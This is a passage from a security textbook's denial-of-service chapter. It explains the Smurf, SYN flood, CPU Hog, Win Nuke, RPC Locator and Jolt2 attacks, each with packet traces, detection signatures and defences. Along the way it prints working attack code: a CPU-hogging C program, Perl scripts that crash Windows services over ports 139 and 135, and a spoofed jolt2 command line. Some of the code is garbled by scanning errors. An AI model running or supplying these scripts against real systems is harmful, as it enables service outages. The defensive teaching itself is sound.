nmap -n -sP -PI -o smurf.log
'209.12.%.0,63,64,127,128,191,192, 255"

It is key that you not only check to make sure your company cannot be
used as a smurf amplifier, but also that you are not on the pulltheplug list.

How to Protect Against It

Protection against this type of attack can be broken down into two
categories: solutions for the intermediary, and solutions for the victim.

Solutions for the intermediary can also be broken down into two
preventative measures: disable IP-directed broadcasts at your router, and
configure operating systems to prevent responding to ICMP requests sent
to a broadcast address.

Solutions for the Intermediary

One solution to prevent your site from being used as an intermediary in
this attack is to disable IP-directed broadcasts at your router. By disabling
these broadcasts, you configure your router to deny IP broadcast traffic
onto your network from other networks. In almost all cases, IP-directed
broadcast functionality is not necessary. If an intruder compromises a
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machine on your network, he may try to launch a Smurf attack from your

network using you as an intermediary. In this case, the intruder would use
the compromised machine to send the ICMP echo request packet to the IP
broadcast address of the local network. Because this traffic does not travel
through a router to reach the machines on the local network, disabling IP-
directed broadcasts on your router is not sufficient to prevent these types

of attack for the long term.

Some operating systems can be configured to prevent the machine from
responding to ICMP packets sent to IP broadcast addresses. Configuring
machines so they do not respond to these packets can prevent your
machines from being used as intermediaries in this type of attack.

Solutions for the Victim

Unfortunately, there is no easy solution for victims receiving the
potentially large number of ICMP echo reply packets. ICMP echo reply
traffic (the traffic from the intermediary) could be blocked at the victim’s
router; however, that will not necessarily prevent congestion that occurs
between the victim’s router and the victim’s Internet service provider.
Victim’s receiving this traffic may need to consult with their Internet
service provider to temporarily block this type of traffic in the ISP’s
network. The point with DOS attacks is this: Whatever point at which you
try to block the attack causes a DOS attack against that component. For
example, let’s say an attacker is launching a DOS attack against your web
server by sending it a large number of packets. If you try to block the
attack at the router, then the attacker has caused a DOS attack against
the router. So, you can move the focus of the attack, but the net result
will be the same.

Additional Information
Additional information can be found at the following sites:

e http://www.cert.org
e http://users.quadrunner.com/chuegen/smurf.txt
e http://www.phrack.com

SYN Flood

A Denial of Service attack in which an attacker deliberately violates the
three-way handshake and opens a large number of half-open TCP/IP
connections.

Exploit Details

« Name: SYN Flood
« Variants: none
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« Operating System: Most Operating Systems
« Protocols/Services: IP

SYN flooding is an attack that impacts most operating systems because it
takes advantage of the reliable fashion of TCP/IP by opening a large
number of half-open TCP/IP connections.

Any system connected to the Internet and providing TCP-based network
services (such as a web server, FTP server, or mail server) is potentially
subject to this attack. Note, that in addition to attacks launched at specific
hosts, these attacks could also be launched against your routers or other
network server systems if these hosts enable (or turn on) other TCP
services (for example, echo). The consequences of the attack may vary
depending on the system; however, the attack itself is fundamental to the
TCP protocol used by all systems.

Protocol Description

IP packets are used to send information across the Internet. IP packets
contain information that specifies who the recipient and sender of the
packet is. IP packets also contain port numbers, which specify to which
TCP service the packet should be sent.

When a system (called the client) attempts to establish a TCP connection
to a system providing a service (the server), the client and server
exchange a set sequence of messages known as a three-way handshake.
This connection technique applies to all TCP connections—telnet, web,
email, and so on.

The client system begins by sending a SYN (synchronization) message to
the server. The server then acknowledges the SYN message by sending a
SYN-ACK (acknowledgement) message to the client. The client then

finishes establishing the connection by responding with an ACK message.
The connection between the client and the server is then opened, and the
service-specific data can be exchanged between the client and the server.

The potential for abuse arises at the point where the server system has
sent an acknowledgment (SYN-ACK) back to the client, but it has not yet
received the final ACK message. This is what is meant by a half-opened
connection. The server has in its system memory a built-in data structure
describing all pending connections. This data structure is of finite size, and
it can be made to overflow by intentionally creating too many partially-
opened connections.

The following is a summary of the three-way handshake:

« A sends a SYN packet to B.
« B sends a SYN-ACK packet back to A.
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« A sends an ACK packet back to B.

Detailed Description

Creating half-opened connections is easily accomplished with IP spoofing.
The attacker’s system sends SYN messages to the victim’s server that
appear to be legitimate, but in fact, the source address is spoofed to a
system that is not currently connected to the network. This means that
the final ACK message is never sent to the victim server.

The half-opened connections data structure on the victim’s server system
eventually fills, and the system is unable to accept any new incoming
connections until the table is emptied out. Normally, there is a timeout
associated with a pending connection, so the half-opened connections
eventually expire and the victim’s server system recovers. However, the
attacker’s system can simply continue sending IP-spoofed packets
requesting new connections faster than the victim’s system’s pending
connections can expire.

In most cases, the victim of such an attack will have difficulty accepting
any new incoming connections for the given service under attack. In such
cases, the attack does impact a given service, however the buffers for
other services are still available. However, in other cases, the system may
exhaust memory, crash, or be rendered otherwise inoperative.

The location of the attacker’s system is obscured because the source
addresses in the SYN packets are often set to an IP address that is
currently not online. This way it is not able to reply to the SYN-ACK
request sent by the server. Because the source address is spoofed, there
is no way to determine the identity of the true attacker when the packet
arrives at the victim’s system.

Signature of the Attack

The signature of the attack is fairly simple. When a large number of SYN
packets appear on a network without the corresponding reply packets, you
are probably under a SYN flood attack.

To hide his identity, the attacker can use IP spoofing. IP spoofing is where
an attacker puts in a fake source address, so someone thinks the packet
came from somewhere else other than the true sender. For additional
information on IP spoofing, see Chapter 4, “Spoofing”.

In this case, the attacker sends a TCP/IP packet to the victim’s machine
with the source address spoofed to a machine that is not currently on the
network. Because this is the first packet in a new connection, it has the
SYN bit set. The victim’s machine receives the packet and sends a packet
back with the SYN and ACK bit set. At this point, the victim’s machine sits
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and waits for a reply, but it never receives one because the spoofed IP
address of the machine that initiated the connection is not online. The
following output shows what this traffic looks like on the network:

10:27:10.880000 spoofed.net.1191 > 192.168.20.10.23: S
70894115:70894115(0) win

8192 <mss 1460>

10:27:10.880000 192.168.20.10.23 > spoofed.net.1191: S
1737393897:1737393897 (0)

ack 70894116 win 4288 <mss 1460>

10:27:14.610000 spoofed.net.1192 > 192.168.20.10.23: S
70897870:70897870(0) win

8192 <mss 1460>

10:27:14.610000 192.168.20.10.23 > spoofed.net.1192: S
1741139606:1741139606(0)

ack 70897871 win 4288 <mss 1460>

10:27:17.740000 spoofed.net.1193 > 192.168.20.10.23: S
70897952 : 70897952 (0) win

4288 <mss 1460>

10:27:17.740000 192.168.20.10.23 > spoofed.net.1193: S
1741139642:1741139606 (0)

ack 70897952 win 4288 <mss 1460>

The attacker keeps doing this process until the buffer fills up. In this case,
a Denial of Service attack is being launched against the telnet service, but
it could be done against any service running on TCP. The output only
shows three of several half-opened connections that would be sent. The
following is a summary of what is shown in the previous output. The
source IP address is spoofed to a machine that is not on the network, so it
cannot reply. Then the destination IP sends back an ACK packet to each
SYN packet, but it does not receive the third packet needed for the three-
way handshake to be completed.

Source Code/Pseudo Code

Because this attack is relatively straightforward, there is source code
available at the following addresses. However, if an attacker wanted to
launch such an attack, it would be very easy to write code to perform a
SYN flood attack.

e Source code Synflood.c: www.hackersclub.com
o Synful.c and synk4.c SYN flooders: www.anticode.com

There are two general ways to launch a SYN flood attack. First, you can
send several SYN packets to a target machine and make sure the sending
address does not reply to any of the SYN-ACK packets. This requires
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watching for the packets and blocking them either at the host or the
router. The second way, which is much easier, is to send SYN packets to a
target machine with the source address spoofed to a machine that is not
active. This way when the target machines replies, there is no machine to
answer.

How to Protect Against It

Currently, there is not a generally accepted solution to this problem with
the current IP protocol technology. However, proper router or firewall
configuration can reduce the likelihood that your site will be the source of
one of these attacks.

A router or firewall can block this type of attack by allowing only a limited
number of half-opened connections to be active at any given time. For
example, if the server can only handle 50 connections, than the router or
firewall should block it at 20 connections. This way, if a hacker tries this
attack, the packets are blocked and never fill up the target machine.
However, this approach is not perfect because legitimate user’s requests
could still be blocked. It just reduces the chances of the destination
machine crashing.

By using netstat, you can look for a large number of half-opened
connections to try to detect such an attack. Many experts are working
together to devise improvements to existing IP implementations to
“harden” kernels to this type of attack. Currently, there are solutions for
Linux and Solaris systems, but after these improvements become
available on other platforms, we suggest that you install them on all your
systems as soon as possible. Until then, you will have to rely on routers to
filter the traffic.

As stated, Linux and Solaris have come out with a solution to SYN flooding
known as SYN cookies. The way SYN cookies work is after a machine’s
queue starts getting full with half-open connections, it stops storing the
information in the queue. It does this by setting the initial sequence
number as a function of the sender’s IP address. For example, if machine
A sends machine B a SYN packet and the half-open connection queue is
getting full, then machine B replies to machine A, but it does not store the
half-open connection in the queue. It does this by setting the initial
sequence number for machine B to a hash of the time and the IP address
and port number. Now if the exploit is a SYN flood attack, it will not be
successful because the machine does not get overloaded with half-open
connections because they are not stored in the queue. If it is a legitimate
connection, then when the third leg of the three-way handshake comes in,
machine B checks the sequence number, minus one, and runs the
information through the hash. If they match, then it completes the
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connection. If the hash information does not match, then the connection is
dropped.

Additional Information
The following sites contain additional information on the SYN flood exploit:

e http://www.cert.org

o http://www.hackersclub.com
e http://www.anticode.com

e http://www.cisco.com

CPU Hog

A Denial of Service attack that causes an NT machine to crash by using up
all the resources.

Exploit Details

« Name: CPU Hog
« Operating System: Microsoft NT
« Protocols/Services: Application priority levels

CPU Hog is an exploit that takes advantage of the way in which Windows
NT schedules concurrently running applications. It is a simple, yet
effective, Denial of Service attack. It works by causing an NT machine to
either lock up or crash by using up all its resources.

The flaw is particularly serious because it does not require physical access
to the machine, and it can be run through an ActiveX control or by a
Netscape plug-in. Therefore, it would be easy to set up a malicious web
site that crashes the victim’s machine when it connects.

Protocol Description

In Windows NT, when an application runs, it can set its own priority level.
The higher the number, the higher priority that application has on the
system. An application or process with a higher priority level takes
precedence over one with a lower level. For example, if one application is
running with a priority of 10 and is competing for a resource with another
application that has a priority of 5, the priority 10 application wins and
gets access to that resource.

Applications that run with administrative privileges have 32 priority levels
while applications running with normal user privileges have 16 priority
levels. By giving 16 additional levels to administrative privileges, it
enables these processes to run at a higher level than normal user
privileges. In theory, this means that even if a user process sets its
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priority to the highest level, 16, the system can still gain control because
it can set its priority level as high as 32.

Detailed Description

CPU Hog works by exploiting the vulnerability in the way Windows NT
schedules the execution of processes. Applications can set their own
priority level, which could impact how often Windows NT allows those
applications to run. An application running under a user account with
administrative privileges can set its priority to any of 32 levels, with the
highest level giving it more time slices. Applications running under
accounts without administrative privileges can set their priority to any of
the first 16 of those levels.

The exploit works by having the CPU Hog program set it’s priority to the
highest level available, which is level 16 when run by a normal user.
Windows NT attempts to deal with CPU-hogging applications by boosting
the priority of other applications. However, Windows NT only boosts
applications as high as level 15. Thus, all other applications, even system
utilities such as Task Manager, never get a chance to execute while CPU
Hog is running. This happens because CPU Hog is running at a level of 16
while all other applications are running at a priority of 15. The only way to
regain control of the machine after CPU Hog has been run is to reboot the
machine.

Hogging the CPU is one of the oldest known forms of Denial of Service
attacks. So old in fact that most operating systems have developed a
defense against these types of attacks. Many forms of UNIX enable
administrators to set limits on CPU usage by user, limiting any one user to
50 percent of available CPU cycles, for example. Almost all forms of UNIX
automatically decrease the priority of the highest-priority process when
applications become starved for CPU time, which is the opposite of what
Windows NT does.

Microsoft could get around the problem fairly easily in one of two ways:
increase the maximum priority given to other, CPU-starved applications
above level 15, or increase the priority of the Task Manager above level
16, so it can be used to end CPU-hogging applications.

Signature of the Attack

Because most user applications do not set their priority level to 16,
whenever an application does this, it should send up a flag. Also, as soon
as NT starts boosting the priority of all other applications and processes to
15, it is usually a symptom that another application is running at a priority
of 16.
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The final symptom is when the computer locks up and all processes stop
responding, but it is probably too late at this point.

To detect whether an attacker has used the CPU Hog exploit, security
auditing must be turned on. The events that need to be audited are
security policy changes and process tracking. When the appropriate
auditing is turned on, the following event occurs in the secu rity log and
can be viewed with Event Viewer in NT.

A new process has been created:

New Process 1ID: 2154627104
Image File Name: CPUHOG. EXE
Creator Process 1ID: 2155646112
User Name: Eric

Domain: EricNT

Logon ID: (0x0, 0x26CE)

The previous system shutdown at 6:59 PM on 9/1/99 was
unexpected.

The easiest way to detect this is to see that the CPU Hog file has been
run. However, it would be very easy for an attacker to change the name
of the program prior to running it.

This is one of the main reasons why it is so important to review the audit
files on a daily basis and to fully understand what is being run on any of
your systems.

Source Code/Pseudo Code

This attack is simple and can be launched with a basic C/C++ or Perl
program. It can also run from the Active X control of a plug-in. The key
component of the code is the setThreadPriority command. This enables
you to set the priority to 16. After that is done, the program goes into an
endless loop, which is shown on the line with the while (1) statement.
This loop does not execute any code, all it does it put the program into an
endless loop and (because it has the highest priority) there is no way to
regain control of the machine except to reboot. The following is the source
code:

int WINAPI WinMain ( HINSTANCE hInstance,

HINSTANCE hPrevInstance,

LPSTR 1lpCmdLine,

int nCmdShow )
{ MessageBox ( NULL, "CpuHog V1.0\n\nCopyright (C) 1996
Mark Russinovich\n"
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"http://www.ntinternals.com",
"CpuHog", MB OK );
SetThreadPriority( GetCurrentThread(),
THREAD PRIORITY TIME CRITICAL );
while (1) ;
// never get here
return 0;

}

Running CPU Hog

The CPU Hog version 1.0 is used for this attack. To run this program,
download the zip file and extract the executable. When you double-click
the executable, the main screen shown in Figure 6.2 appears to let you
know what program you are running. As soon as you start the program,
the entire computer freezes or crashes, and the only way to recover is to
reboot the machine.

Figure 6.2. CPU Hog main screen.

CpuHag V1.0

Copywnght [C] 1936 Mark Bussinavich
httpe £ e ntintemalz. com

How to Protect Against It

To patch a machine, so it is not vulnerable to this attack, you must apply
the latest patches from Microsoft. You have to be very careful, because if
you do not apply the appropriate service pack prior to applying the new
patch, it could crash your machine. So, before you apply this patch, make
sure you locate and apply the latest service pack.

Another way to protect against CPU Hog is to set the priority for Task
Manager to 16. Because Task Manager is also running at a priority of 16, if
someone launches this attack, you can still regain control of the machine
and stop the application.

To change the priority of an application, you need to go in and edit the
registry. Unless you are very familiar with what you are doing, it is highly
recommended that you do not edit the registry. The reason for this is if
you accidentally delete or add a key, you could crash your entire system,
and you might have to reload NT to get it running again.

Additional Information
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Additional information can be found at the following web sites:

http://206.170.197.5/hacking/DENIALOFSERVICE/
http://neworder.box.sk
http://www.ntinertnals.com
http://www.microsoft.com

Win Nuke

A Denial of Service attack that involves sending out of band data to a
Windows machine.

Exploit Details

« Name: Win Nuke
« Operating System: Most Microsoft OSs
« Protocols/Services: Port 139 NetBIOS

The Win Nuke is a category of network-level attacks against hosts with the
goal of denying service to that host. A perpetrator sends out of band data
to a victim’s machine on port 139, which is NetBIOS. Because this is data
that the machine is not expecting, it will either cause the machine to crash
or hang.

Currently, Win Nuke effects most versions of Microsoft Windows, mainly
Windows 95 and Windows NT.

What Is a Nuke?

Nukes exploit bugs in operating systems, especially Windows95
and Windows NT. The idea is to send packets of data that the
operating system cannot handle or is not expecting. This causes
the machine to either hang or reboot. In most cases, it causes the
blue screen of death.

Protocol Description

IP packets are used to send information across the Internet. IP packets
contain information that specifies who the recipient and sender of the
packet is. IP packets also contain port numbers that specify to which TCP
service the packet should be sent.

IP packets contain flags that communicate information about how the

packet should be handled by routers or processed by computers. Flags are
basically bits that can either be 0 (off) or 1 (on). Some common flags are:
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« SYN Synchronization used to setup a new session

e ACK Acknowledgement used to acknowledge receipt of a packet

« URGENT Specifies a packet contains urgent data, such as OOB (out
of band data)

Detailed Description

To exploit a machine using Win Nuke, an attacker sends a special TCP/IP
command known as out of band (OOB) data to port 139 of a computer
running Windows 95 or NT. An easy way to think of OOB data is that it is
data the host operating system is not expecting. An attacker could target
users’ PCs by using one of several programs for Windows, UNIX, and
Macintosh available on the Internet. With the main program called Win
Nuke, a hacker simply types a user’s Internet protocol address and then
clicks the program’s “nuke” button to crash a PC over the Internet or a
local network.

Microsoft’s original patch for Windows NT prevented attacks using the
original Win Nuke program, but not manual attacks. The reason is that the
original fix from Microsoft just filtered hits on port 139 looking for a
keyword included in the first ‘winuke’ script, which was “nuke me.” By
changing that word, Microsoft operating systems were once again
vulnerable. So, attackers quickly came out with a nhew program that
enables them to specify the IP address and also the phrase that is sent to
the victim’s machine. By using a phrase other than “nuke me,” attackers
could once again crash Windows machines, even if the patch was applied.
Microsoft has since come out with a new patch that correctly fixes this
problem.

When users are “nuked” by a hacker, their computer screens often display
an error message known as the “blue screen of death.”

Signature of the Attack

The main signature for this exploit is out of band data that is sent to port
139. Notice that it is both of these properties together that indicate
someone is launching a Win Nuke attack against your system. Port 139
traffic is normal on a network and so is out of band data. It is only when
the two are combined that you have to be cautious.

With the Win Nuke exploit, the source IP address sends out of band data
to the destination IP address (victim’s machine) on port 139. The
following is the TCP dump from running this exploit:

10:05:15.250000 192.168.10.5.1060 > 192.168.20.10.139: S
69578633:69578633(0) win
8192 <mss 1460> (DF)
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10:05:15.250000 192.168.10.5.139 > 192.168.20.10.1060: S
79575151:79575151 (0) ack

69578634 win 8760 <mss 1460> (DF)

10:05:15.250000 192.168.10.5.1060 > 192.168.20.10.139: P
1:5(4) ack 1 win 8760 urg

4 (DF)

Source Code/Pseudo Code

This attack is simple and can be launched with a Perl program. Basically,
an attacker creates a packet with out of band data (data that the machine
is not expecting) and sends it to port 139.

Pseudo code:

» Generates packet with out of band data
e Sends it to port 139

Source code:

#!/usr/bin/perl

use I0::Socket;

IO::Socket::INET

->new (PeerAddr=>"some.victim.com:139")
->send ("bye", MSG O0OB) ;

The following sites are where you can download the executables and
source code for the Win Nuke exploit:

o Exe for winnuke: http://www.jaydee.cz/filfree.htm
e Source code: www.rootshell.com
o« Win Nuke source code and executable: www.anticode.com

Win Nuke Program
Figure 6.3 shows the first version of Win Nuke that became available:

Figure 6.3. Original Win Nuke program, which sent the phrase "nuke me” to the
victim’s computer.

o= WinNUKE M= E
Eile
Taiget hostname/ P address;
Mukel
o
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This first version of Win Nuke sent a packet with a data field containing
the phrase “"Nuke Me”. So, the first patch that Microsoft released filtered
packets based on the string "Nuke Me” and stopped the attack. Well,
attackers quickly figured this out and released a version where they could
customize the string, so Microsoft had to release another patch. Figure 6.4
shows the version of Win Nuke where an attacker can customize the
message:

Figure 6.4. Second version of Win Nuke where the attacker could customize the
string sent to the victim’s computer.

WirHuke V35
gl (=]1357 BueniBogus: of the Den
Giteels b Hound Dog

HUEE IP ADDRESS

NukeMESs | NUFE WITH MESSAGE

How to Protect Against It

To patch a machine so it is not vulnerable to this attack, you must apply
the latest patches from Microsoft. You have to be very careful, because if
you do not apply the appropriate service pack prior to applying the new
patch, it could crash your machine. So, before you apply this patch, make
sure you find and apply the latest service pack.

Additional Information
Additional Information can be found at the following sites:

e http://www.cert.org

o http://hackersclub.com

o http://net-security.org

e http://www.microsoft.com
e http://www.phrack.com

RPC Locator

A Denial of Service attack that causes 100 percent CPU utilization by
sending data to port 135.

Exploit Details

« Name: RPC Locator
e CVE Number: CVE-1999-0228
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o Operating System: Microsoft NT
o Variants: Inetinfo (port 1031) and DNS (port 53)
« Protocols/Services: RPCSS.EXE, port 135

RPC Locator is a Denial of Service attack that causes 100 percent CPU
utilization when an attacker telnets to port 135 on a victim’s machine.
Depending on the configuration and whether other programs are running,
this exploit can either cause the machine to run really slowly or cause it to
stop responding. Either way, to get the machine to continue operating at
its normal speed requires a reboot of the machine. Because most NT
servers run critical applications, having to reboot them at any time can
cause a Denial of Service for the company.

RPC stands for remote procedure call and enables an attacker to execute
known system calls on a remote machine.

The service that is exploited is the RPCSS.EXE service, which runs on port
135. There are variants of this attack that affect other services, mainly
ISS and DNS services.

Detailed Description

Overall, this is a simple exploit not only to run, but to understand. Telnet
is a program that comes with most operating systems that enables
attackers to connect to various ports on a remote machine. Normally, the
attacker would just type telnet followed by a machine name or IP
address, and he would connect to port 23, which is the telnet port. By
doing this, he can navigate the operating system as if he were sitting at
the local machine.

Typing telnet followed by a different port number enables the attacker to
use telnet to connect to any service running on a remote machine. In this
case, by typing telnet <IP address> 135 he can connect to the RCP
port or port 135. By typing random or garbage text that the service is not
expecting, an attacker can cause the service to get confused and utilize
100 percent of the CPU. At this point, the attacker would exit the telnet
sessions because the attack has been successful. To recover from this
attack, the remote administrator must reboot the machine to restore
system performance.

Description of Variants

This exploit also works if the attacker telnets to the ISS service, which is
port 1031 (inetinfo.exe) or the DNS service, which is port 53 (dns.exe).
The following is a summary of the different variants:

IIS service:
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o INETINFO.EXE

e« port 1031
DNS Server:

e DNS.EXE

e port53

In both cases, the services will stop responding and the machine will need
to be rebooted.

Signature of the Attack

The only way to detect this type of attack is to watch for someone
connecting to port 135 and sending it garbage or random text. In this
case, garbage text is any command that the system is not expecting.

This first output shows an attacker connecting to port 135 on a remote
machine and initiating the three-way handshake.

15:12:50.100000 client-20-15-9-22.1352 > client-20-15-9-
23.135: P 41:43(2) ack 1

win 8760 (DF)

15:12:50.270000 client-20-15-9-23.135 > client-20-15-9-

22.1352: . ack 43 win 8717

(DF)

15:12:50.490000 client-20-15-9-23.135 > client-20-15-9-
22.1352: . ack 46 win 8714

(DF)

15:12:50.710000 client-20-15-9-23.135 > client-20-15-9-
22.1352: . ack 48 win 8712

(DF)

15:12:53.290000 client-20-15-9-22.1352 > client-20-15-9-
23.135: F 48:48(0) ack 1
win 8760 (DF)

Once connected, the attacker sends random data to the victim’s machine:

15:12:53.290000 client-20-15-9-23.135 > client-20-15-9-
22.1352: F 1:1(0) ack 49
win 8712 (DF)
15:12:54.660000 0:10:70:0:33:7 0:10:7b:0:33:7 loopback 60:
0000 0100 0000 0000 0000 0OOOO 0000 0000
0000 0000 0000 0000 0000 0000 0000 0000
0000 0000 0000 0000 0000 0000
15:12:54.990000 0:10:7b:0:33:7 > 1:0:c:cc:cc:cc sap aa ui/C
len=289
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a700 0100 0c45 5249 4343 4fd4c 4500 0200
1100 0000 0101 Olcc 0004 cf9f 5all 0003
000d 4574 6865 726e 6574 30

Pseudo Code/Source Code

This attack is simple and can be launched with a Perl program or by
running a telnet program that comes with most operating systems. To
perform this attack, an attacker just connects to port 135 using a telnet
program, types about 10 characters of random text, and disconnects.

The following is a Perl program that runs this attack. It just initiates a
connection to port 135, sends the remote system random data, and
disconnects.

use Socket;

use FileHandle;

require "chat2.pl";

Ssystemname = SARGV[0] && shift;

Sverbose = 1; # tell me what you're hitting
Sknownports = 1; # don't hit known problem ports
for (Sport = $0; S$port<65535; Sport++)

{

if (Sknownports && (Sport == 53 || Sport == 135 || S$port==
1031)) {
next;

}

$fh = chat::open port(Ssystemname, Sport);

chat::print ($fh,"This is about ten characters or more");
i1f (Sverbose) {

print "Trying port: S$port\n";

}

chat::close ($fh);

}

The following are web sites from which the source code can be
downloaded:

e http://www.Ntsecurity.com
e http://www.njh.com

e http://www.pancreas.com
e http://www.iss.net/xforce

Running RPC Locator

From Windows, to launch this attack, go to a DOS prompt and type
telnet followed by the domain name or IP address of the victim’s
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machine followed by 135. After you hit enter, the telnet screen shown in
Figure 6.5 appears.

Figure 6.5. Telnet screen for Windows.

M Telnet - ntserverda = E3 I
IEW‘*’-! Edt  Teominal Help

At this point, the attacker types random text, which causes the remote
machine to crash.

How to Protect Against It

To protect against this attack, apply the latest Windows NT 4.0 Service
Pack on Windows NT 4.0. To apply the latest Windows NT 4.0 Service
Pack, follow these steps:

1. Open a web browser.

2. Goto
http://support.microsoft.com/support/ntserver/Content/ServicePack
s/ and follow the directions to download the appropriate service
pack for your computer.

3. Find the installation program, and download it to your computer.

4. Double-click the program icon to start the installation.

5. Follow the installation directions.

Additional Information
Additional information can be found at the following sites:

o« http://www.njh.com/latest/9701/970125-01.html|

o http://www.securityfocus.com

« http://www.pancreas.com/wraith/hacking/cpuattacks.htm
e http://www.ntsecurity.net/security/100CPU.htm

e http://www.microsoft.com

“ Hackers Beware ™ New Riders Publishing 240



Jolt2

Vulnerable systems enable a remote attacker to cause a Denial of Service
by sending a large number of identical fragmented IP packets.

Exploit Details:

« Name: Jolt2.c

e CVE Number: CVE-2000-0305

o Variants: None

e Written by: Joe Church

« Operating System: Windows 95/98/NT4/2000, Be/OS 5.0, Cisco
26xx, Cisco 25xx, Cisco 4500, Cisco 36xx, Network Associates
Gauntlet, Webshield, Firewall-1 from Checkpoint on Solaris, NT,
Nokia firewall, Bay router (Nortel) firewall, Fore

Protocol Description

Jolt2 enables remote users across different networks to send IP fragment-
driven Denial of Service attacks against multiple operating systems by
making the remote (victim’s) machine utilize 100 percent of its Central
Processing Unit when it attempts to process the illegal IP packets.

This attack, which uses identical fragmented IP Packets, causes the
remote (victim’s) machine to lock up for the duration of the attack. The
Central Processing Unit exhausts 100 percent of its processing time trying
to process the packets, which causes both the user interface and the
network interface to lock up.

Description of Variants

www.packetstorm.securify.com has a variation called joltZmod.c. This is a
simple Jolt2 modification in that it has a rate-limiting feature. With this
new modification, it is still quite an effective tool. It is recommended to
run several threads of Jolt2 at a target. From a 33.6 modem, it slowed a
test machine with a cable modem using 4 threads.

How the Exploit Works

By utilizing Jolt2, an attacker can prevent a machine from performing
work by utilizing the CPU of the selected machine. It is important to note
that the machine is unusable and the attacker is not able to compromise
data on the machine or gain administrative privileges. Jolt2 relies on IP
fragmentation, in which IP datagrams are divided into smaller data
packets during transit. Because the maximum frame size varies from
network to network, fragmentation may be required because every
network architecture carries data in groups called frames. Fragmentation
occurs when an IP datagram enters a network whose maximum frame size

“ Hackers Beware ™ New Riders Publishing 241



is smaller than the size of the datagram. At this point, the datagrams are
split into fragments. The fragmented packets then travel separately to
their assigned destination. Then the destination computer re-assembles
the fragmented packets and processes them.

In Windows 9x, NT4, or 2000, vulnerabilities exist because of a flaw in the
way the system performs IP fragment re-assembly. When malformed IP
fragments are directed against a targeted host, the work factor associated
with performing IP fragment re-assembly can be driven extremely high by
varying the data rate at which the fragments are sent. If fragmented
packets are transmitted at a rate of 150 packets per second, the CPU of
the target machine is forced to exhaust 100 percent of its resources,
causing the machine to halt. Windows does not correctly perform IP
fragment re-assembly. The targeted machine is affected as long as the
attacker is sending malformed, Jolt2 packets. The target machine returns
to normal after the packet storm is completed.

If using the Gauntlet Firewall, the Denial of Service affects Hyper Text
Transport Protocol Web traffic. The daemon crashes and dumps a core file,
thus preventing the HTTP proxy from checking policy, resulting in new
connections failing.

If you are using the Checkpoint Firewall-1, Jolt2 uses the fact that this
firewall does not usually look at or log fragmented packets until the
packets are re-assembled. With this attack, the Checkpoint Firewall-1 is
forced to exhaust 100 percent of its CPU power to attempt to re-assemble
the packets. By trying to re-assemble these malformed packets, the
firewall denies service to other services and requests.

The data sent is 29 bytes (20 IP + 9 data), which is valid because it is a
last fragment (MF=0). However, the total length reported by the IP
header is 68 bytes. This malformed packet should fail structural tests if
there are any in place.

Acknowledgement of a packet with a reported length larger than the
actual received length is a normal occurrence. This happens whenever a
packet is truncated during transport. Because the IP Header is 20 bytes,
the amount of IP data is 48 bytes due to the packet size of 68 bytes.
Because the offset is 65520, and the length of IP data is 48 bytes equaling
65568, this results in a IP packet length overflow because the maximum
allowed length is 65535. Note, however, that the data sent (9 bytes) does
not cause an overflow. Fragments are flagged as being “last fragments”.

Figure 6.6 shows an attacker sending IP fragments to a victim’s computer.

The victim machine’s CPU becomes exhausted and 100 percent of the CPU
is utilized causing the machine to lock up until the attack is finished. After
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the attacker stops sending the malformed IP packets, the victim’s machine
is no longer locked up, and the CPU usage returns to normal.

Figure 6.6. A diagram of Jolt2 running against a victim’s computer.

Linux 6.2 Windows NT
IP fragmented packels

The following is how the packets look traveling across a network from the
attacker to the victim:

06:58:06.276478 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.279297 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.279625 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.279939 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.280251 attacker > 192.168.7.10: (frag 1109:9@65520)
06:58:06.280563 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.280876 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.281189 attacker > 192.168.7.10: (frag 1109:9@65520)
06:58:06.281501 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.281814 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.282134 attacker > 192.168.7.10: (frag 1109:9@65520)
06:58:06.282448 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.282752 attacker > 192.168.7.10: (frag 1109:90@65520)
06:58:06.282942 attacker > 192.168.7.10: (frag 1109:90@65520)

How to Use It

The exploit jolt2.c can be located at http://packetstorm.securify.com, and
it can be downloaded in its source code form. After the exploit is
downloaded, the exploit must still be compiled on the operating system of
choice, which must be a UNIX flavor, such as Redhat Linux, Mandrake
Linux, or Slackware Linux. To compile the exploit, simply use the make
command at a command prompt with the name of the exploit, excluding
the “.c” at the end of the file name. For Example: # make jolt2

If the file compiles cleanly without any errors, you will have an executable
file named Jolt2. To find out the syntax of the command along with the
switches it uses, simply use the -h switch, and the syntax of the Jolt2
displays on the screen. When you use the -h option the syntax is:

./Jjolt2 <src address> -p <port number> <destination address>

Even before you launch the attack, you must make sure that the victim’s
machine is susceptible against this sort of attack, and because we know
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that many Microsoft Windows machines are susceptible by conducting
research on the web, we can scan the network first using nmap from
www.insecure.org to find Windows machines located on the network.
Nmap is a utility tool used to map networks and also scan hosts by telling
the attacker what ports or hosts are alive. Nmap can also give an
estimated guess on what type of operating system the machine is
currently running.

After we have located a machine that matches our required results
(192.168.7.10 / Windows NT 4.0) we can use the attack, for example:

#./jolt2 192.168.5.1 -p 80 192.168.7.10

The above command launches the attack from the attacker’s machine with
a spoofed IP address of 192.168.5.1 against IP address 192.168.7.10 (the
victim’s Windows NT machine) on port 80 (HTTP). The Windows NT
(victim’s Machine) CPU resources reach 100 percent and cause the system
to lock-up. There is not a set number of packets sent, they are just sent
as fast as the attacking machine can send them. Now at this point, there
are several options the attacker can do. For instance, if the attacker had a
sniffer on the network, so he was able to observe communications
between two hosts on the network, and he wanted to take over the
conversation, he could use Jolt2 to tie up one machine while he takes over
the conversation and assumes the identity of the other machine. This type
of attack is called session hijacking and is covered in Chapter 5, “Session
Hijacking”. To complete this task, the attacker must be able to properly
guess the sequence number of the host for which he is taking over the
conversation.

The Jolt2 exploit can also be used to make a targeted host on a network
exhaust 100 percent of its CPU, which causes the machine to lockup. The
user of the targeted machine may become frustrated and restart the
targeted machine by turning the machine off at the power source. The
attacker on the same network could use the LOphtcrack password sniffer
to capture the login screen name and the password of the targeted
Windows NT Client Machine as it logs onto the domain and authenticates
through the Primary Domain Controller. LOphtcrack then cracks the
